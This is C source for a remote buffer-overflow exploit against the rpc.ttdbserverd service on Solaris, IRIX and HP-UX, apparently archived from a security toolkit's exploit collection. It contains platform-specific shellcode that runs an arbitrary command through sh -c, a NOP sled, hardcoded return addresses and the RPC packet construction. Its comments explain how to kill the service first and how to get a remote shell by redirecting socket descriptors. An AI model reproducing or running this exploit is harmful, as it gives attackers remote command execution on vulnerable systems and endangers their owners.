home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / rpc.ttdbserverd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  283 lines

  1. /*
  2.  rpc.ttdbserver remote overflow, apk
  3.  Solaris (tested on SS5 and Ultra 2.5.1)
  4.  Irix (tested on r5k and r10k O2 6.3), 
  5.  HP-UX ( tested on 700s 10.20)
  6.  
  7.  usage: ./r [-ku] [-p port] [-f outfile] host cmd
  8.            -k : kill ttdbserver (read below)
  9.            -u : use UDP (default TCP)
  10.            -p port : connect to ttdbserver at port (don't ask portmap)
  11.            -f outfile : store rpc message in outfile (and do NOT contact host)
  12.  
  13.  note:
  14.    it should compile on any normal system, to get HP-UX exploit compile with 
  15.      -DHPUX, for Solaris -DSOLARIS, for Irix use -DIRIX
  16.    cmd is run through sh -c, and there is no practical limit for command 
  17.      length, but it has to fit in buffer (1024 bytes in this case), 
  18.      and ~(strlen + 1) cannot contain '0'
  19.    by default ttdbserver runs from inetd, so it will be respawned each time
  20.      it die (I mean execute command), also because it dies correct reply is
  21.      clnt_call error (connection reset, timeout etc)
  22.    -f file option: On HP-UX and Irix, connected socket gets first free
  23.      descriptor, 3 on HP-UX and 5 on Irix. You can use -f option to store
  24.      datagram to file, and send it to ttdbserver with your telnet of 
  25.      choice.  With command like "0<&3 1>&3 2>&3 exec sh" on HP-UX you'll get
  26.      remote shell running. Solaris dup() connected fd to first free one
  27.      over 256, so you have to study sh man page to find a way to do this <g>
  28.      You should kill ttdbserver before, to make sure it doesn't have
  29.      any files open except 0-2 fds passed from inetd. Actually on Irix
  30.      it looks like fucked up, ttdbserver gets 0-2 fds from inetd, ignores
  31.      them and opens new ones as 3 and 4 fd, so you need to redirect 5th fd.
  32.      It happens on 6.3 at least, I need to look at other versions.
  33.      Irix is also the only one I saw which supports ttdbserver over UDP,
  34.      keep in mind that by default generated RPC datagram is TCP version with
  35.      record marking, you should use -u option to get UDP version (or just remove
  36.      first four bytes from generated file)
  37.   for reasons I can't quite understand, you _have_ to kil ttdbserver on Solaris
  38.     before sending a command there. When ttdbserver has connected clients,
  39.     it simply returns an error (filename too long). In both cases
  40.     it looks like the program goes through the same way, well, maybe I'll
  41.     get a clue one day what happens there.
  42.   On Irix to get over its fucked up cache, I simply send like 20kb to make
  43.     it flushed, so it's not reliable. You can find a buffer allocated by xdr 
  44.     and it should be better. 
  45.   surprizingly there are some differences between ttdbserver on above platforms,
  46.     like solaris dup() of fds, start-up Irix behaviour, the fact that
  47.     on Irix it first tries chdir to directory then do some task (it's the
  48.     reason I have to add "/f" at the end of buffer to have it copy overflow
  49.     part of the buffer on stack) etc. That's why it may not work on other
  50.     systems and versions than mentioned at the beginning.
  51.  
  52.  */
  53.  
  54. #include <sys/types.h>
  55. #include <sys/time.h>
  56. #include <sys/socket.h>
  57. #include <netinet/in.h>
  58. #include <arpa/inet.h>
  59. #include <stdio.h>
  60. #include <unistd.h>
  61. #include <fcntl.h>
  62. #include <stdlib.h>
  63. #include <errno.h>
  64. #include <string.h>
  65. #include <netdb.h>
  66. #include <rpc/rpc.h>
  67.  
  68. #define PORT 0
  69. #define BSIZE 1024
  70.  
  71. #if defined(SOLARIS)
  72. # define SP 0xefffd618
  73. # define LENOFS 80
  74. char asmcode[]="\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x92\x03\xe0\x48\x90\x02\x60\x10\xe0\x02\x3f\xf0\xa2\x80\x3f\xff\xa0\x24\x40\x10\xd0\x22\x3f\xf0\xc0\x22\x3f\xfc\xa2\x02\x20\x09\xc0\x2c\x7f\xff\xe2\x22\x3f\xf4\xa2\x04\x60\x03\xc0\x2c\x7f\xff\xe2\x22\x3f\xf8\xa2\x04\x40\x10\xc0\x2c\x7f\xff\x82\x10\x20\x0b\x91\xd0\x20\x08\xff\xff\xff\xfc\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x2e\x2d\x63\x2e";
  75. char NOP[]="\x80\x1c\x40\x11";
  76. #endif
  77.  
  78. #if defined(HPUX)
  79. # define SP 0x7b03cc10
  80. # define LENOFS 84
  81. char asmcode[]="\xeb\x40\x40\x02\x0b\x39\x02\x80\xd7\x40\x0c\x1e\xb7\x5a\x20\xb8\x0b\x5a\x02\x59\x0f\x21\x10\x98\x97\x18\x07\xff\x0f\x39\x12\x81\x0f\x20\x12\x99\xb7\x39\x20\x10\x0f\x20\x12\x1f\x0f\x59\x12\x89\xb7\x39\x20\x06\x0f\x20\x12\x1f\x0f\x59\x12\x91\x0b\x38\x06\x19\x0f\x20\x12\x1f\xb7\x59\x07\xe1\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x10\x16\x11\x11\x11\x11\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
  82. char NOP[]="\x0b\x39\x02\x80";
  83. #endif
  84.  
  85. #if defined(IRIX)
  86. # define SP 0x7fff1b30
  87. # define LENOFS 76
  88. char asmcode[]="\x04\x10\xff\xff\x27\xe4\x01\x01\x24\x84\xff\x5e\x8c\x8c\xff\xe5\x24\x0d\xff\xff\x01\xac\x60\x23\x01\x84\x60\x20\xa1\x80\xff\xff\xa0\x80\xff\xff\xac\x84\xff\xed\x24\x84\xff\xfd\xa0\x80\xff\xff\xac\x84\xff\xec\x24\x84\xff\xf8\x24\x85\xff\xf0\xac\x84\xff\xf0\xac\x80\xff\xfc\x24\x02\x03\xf3\x02\x04\x8d\x0c\xff\xff\xff\xfc\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
  89. char NOP[]="\x24\x0f\x12\x34";
  90.  
  91. #endif
  92.  
  93. #define TT_DBSERVER_PROG 100083
  94. #define TT_DBSERVER_VERS 1
  95. #define _TT_P 7
  96.  
  97. struct tt_reply {
  98.   int i1;
  99.   int i2;
  100. };
  101.  
  102. void usage(char *s) {
  103.   printf("Usage: %s [-ku] [-p port] [-f outfile] host cmd\n", s);
  104.   exit(0);
  105. }
  106.  
  107. bool_t xdr_tt_reply(XDR *xdrs, struct tt_reply *objp) {
  108.  
  109.   if (!xdr_int(xdrs, &objp->i1))
  110.     return (FALSE);
  111.   if (!xdr_int(xdrs, &objp->i2)) 
  112.     return (FALSE);
  113.   return (TRUE);
  114. }
  115.  
  116. void make_file(char *fname, char *buf, int type);
  117.  
  118. main(int argc, char *argv[]) {
  119.   extern int optind;
  120.   extern char *optarg;
  121.   CLIENT *cl;
  122.   enum clnt_stat stat;
  123.   struct timeval tm;
  124.   struct hostent *hp;
  125.   struct sockaddr_in target;
  126.   struct tt_reply op_res;
  127.   char buf[64000], *path, *cmd, *host, *bp, *outfile = NULL;
  128.   int sd, i, sp = SP, bsize = BSIZE, port = PORT, kill = 0, proto = 0;
  129.  
  130.   while ((i = getopt(argc, argv, "ukp:f:")) != EOF)
  131.     switch (i) {
  132.       case 'p':
  133.         port = atoi(optarg);
  134.         break;
  135.       case 'k':
  136.         kill = 1;
  137.         break;
  138.       case 'u':
  139.         proto = 1;
  140.         break;
  141.       case 'f':
  142.         outfile = optarg;
  143.         break;
  144.       default:
  145.         usage(argv[0]);
  146.     }
  147.   if (argc - optind < 2)
  148.     usage(argv[0]);
  149.   cmd = argv[optind + 1];
  150.   host = argv[optind];
  151.  
  152.   for (i = 0; i < sizeof(buf); i++)
  153.     *(buf + i) = NOP[i % 4];
  154.  
  155.   i = bsize - strlen(asmcode) - strlen(cmd);
  156.   i &= 0xfffffffc;
  157.   strcpy(buf + i, asmcode);
  158.   strcat(buf, cmd);
  159.   *(int *)(buf + i + LENOFS) = ~(strlen(cmd) + 1);
  160.   buf[strlen(buf)] = '.';
  161.   bp = buf + bsize;
  162.   for (i = 0; i < 16; bp+=4, i++)
  163.     *(int *)bp = sp;
  164. #ifdef IRIX
  165.   sp = sp + 400 + 31652;
  166.   for (i = 0; i < 5000; bp+=4, i++)
  167.     *(int *)bp = sp;
  168.   *bp++ = '/';
  169.   *bp++ = 'f';
  170.   path = buf + 2;
  171. #else
  172.   path = buf;
  173. #endif
  174.   *bp = 0;
  175.  
  176.   if (outfile) {
  177.     make_file(outfile, buf, proto);
  178.     printf("rpc datagram stored in %s\n", outfile);
  179.     exit(0);
  180.   }
  181.  
  182.   if ((target.sin_addr.s_addr = inet_addr(host)) == -1) {
  183.     if ((hp = gethostbyname(host)) == NULL) {
  184.       printf("%s: cannot resolve\n", host);
  185.       exit(1); 
  186.     } else
  187.       target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  188.   }
  189.   target.sin_family = AF_INET;
  190.   target.sin_port = htons(port);
  191.   sd = RPC_ANYSOCK;
  192.  
  193.   tm.tv_sec = 4;
  194.   tm.tv_usec = 0;
  195.   if (proto) 
  196.     cl = clntudp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, tm, &sd);
  197.   else
  198.     cl = clnttcp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, &sd, 0, 0);
  199.   if (cl == NULL) {
  200.     clnt_pcreateerror("clnt_create");
  201.     exit(0);
  202.   }
  203.   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  204.   tm.tv_sec = 10;
  205.  
  206.   if (kill) {
  207.     path = NULL;
  208.     bp = NULL;
  209.     if ((stat = clnt_call(cl, 15, xdr_wrapstring, (char *)&path, 
  210.         xdr_wrapstring, (char *)&bp, tm)) != RPC_SUCCESS) {
  211.       clnt_perror(cl, "clnt_call");
  212.       exit(1);
  213.     }
  214.     printf("Could not kill ttdbserver, reply is: %s\n", bp);
  215.     exit(1);
  216.   }
  217.  
  218.   if ((stat = clnt_call(cl, _TT_P, xdr_wrapstring, (char *)&path, xdr_tt_reply, 
  219.        (char *)&op_res, tm)) != RPC_SUCCESS) {
  220.     clnt_perror(cl, "clnt_call");
  221.     exit(1);
  222.   }
  223.   printf("res i1 %d, res i2 %d\n", op_res.i1, op_res.i2);
  224.   clnt_destroy(cl);
  225. }
  226.  
  227. void make_file(char *fname, char *buf, int type) {
  228.   int fd, offs;
  229.   XDR xdrm;
  230.   struct rpc_msg rpc_hdr;
  231.   struct authunix_parms aup;
  232.   char dgram[64000], rauth[MAX_AUTH_BYTES];
  233.  
  234.   if (type == 1) /* UDP */
  235.     offs = 4;
  236.   if ((fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
  237.     perror(fname);
  238.     exit(1);
  239.   }
  240.   xdrmem_create(&xdrm, rauth, sizeof(rauth), XDR_ENCODE);
  241.   aup.aup_time = (u_long)time(NULL);
  242.   aup.aup_machname = "localhost";
  243.   aup.aup_uid = 0;
  244.   aup.aup_gid = 0;
  245.   aup.aup_len = 0;
  246.   aup.aup_gids = NULL;
  247.   if (xdr_authunix_parms(&xdrm, &aup) == FALSE) {
  248.     printf("error encoding auth cred\n");
  249.     exit(1);
  250.   }
  251.   rpc_hdr.rm_call.cb_cred.oa_length = xdr_getpos(&xdrm);
  252.   xdr_destroy(&xdrm);
  253.   xdrmem_create(&xdrm, dgram + 4, sizeof(dgram), XDR_ENCODE);
  254.   rpc_hdr.rm_xid = 0x12345678;
  255.   rpc_hdr.rm_direction = CALL;
  256.   rpc_hdr.rm_call.cb_rpcvers = 2;
  257.   rpc_hdr.rm_call.cb_prog = TT_DBSERVER_PROG;
  258.   rpc_hdr.rm_call.cb_vers = TT_DBSERVER_VERS;
  259.   rpc_hdr.rm_call.cb_proc = _TT_P;
  260.   rpc_hdr.rm_call.cb_cred.oa_flavor = AUTH_UNIX;
  261.   rpc_hdr.rm_call.cb_cred.oa_base = rauth;
  262.   rpc_hdr.rm_call.cb_verf.oa_flavor = AUTH_NONE;
  263.   rpc_hdr.rm_call.cb_verf.oa_base = NULL;
  264.   rpc_hdr.rm_call.cb_verf.oa_length = 0;
  265.   if (xdr_callmsg(&xdrm, &rpc_hdr) == FALSE) {
  266.     printf("error encoding rpc header\n");
  267.     exit(1);
  268.   }
  269.   if (xdr_wrapstring(&xdrm, &buf) == FALSE) {
  270.     printf("error encoding rpc data\n");
  271.     exit(1);
  272.   }
  273.   /* record marking */
  274.   *(u_int *)dgram = 0x80000000 | xdr_getpos(&xdrm);
  275.   if (write(fd, dgram + offs, xdr_getpos(&xdrm) + 4) == -1) {
  276.     perror("write");
  277.     exit(1);
  278.   }
  279.   xdr_destroy(&xdrm);
  280.   close(fd);
  281. }
  282.  
  283.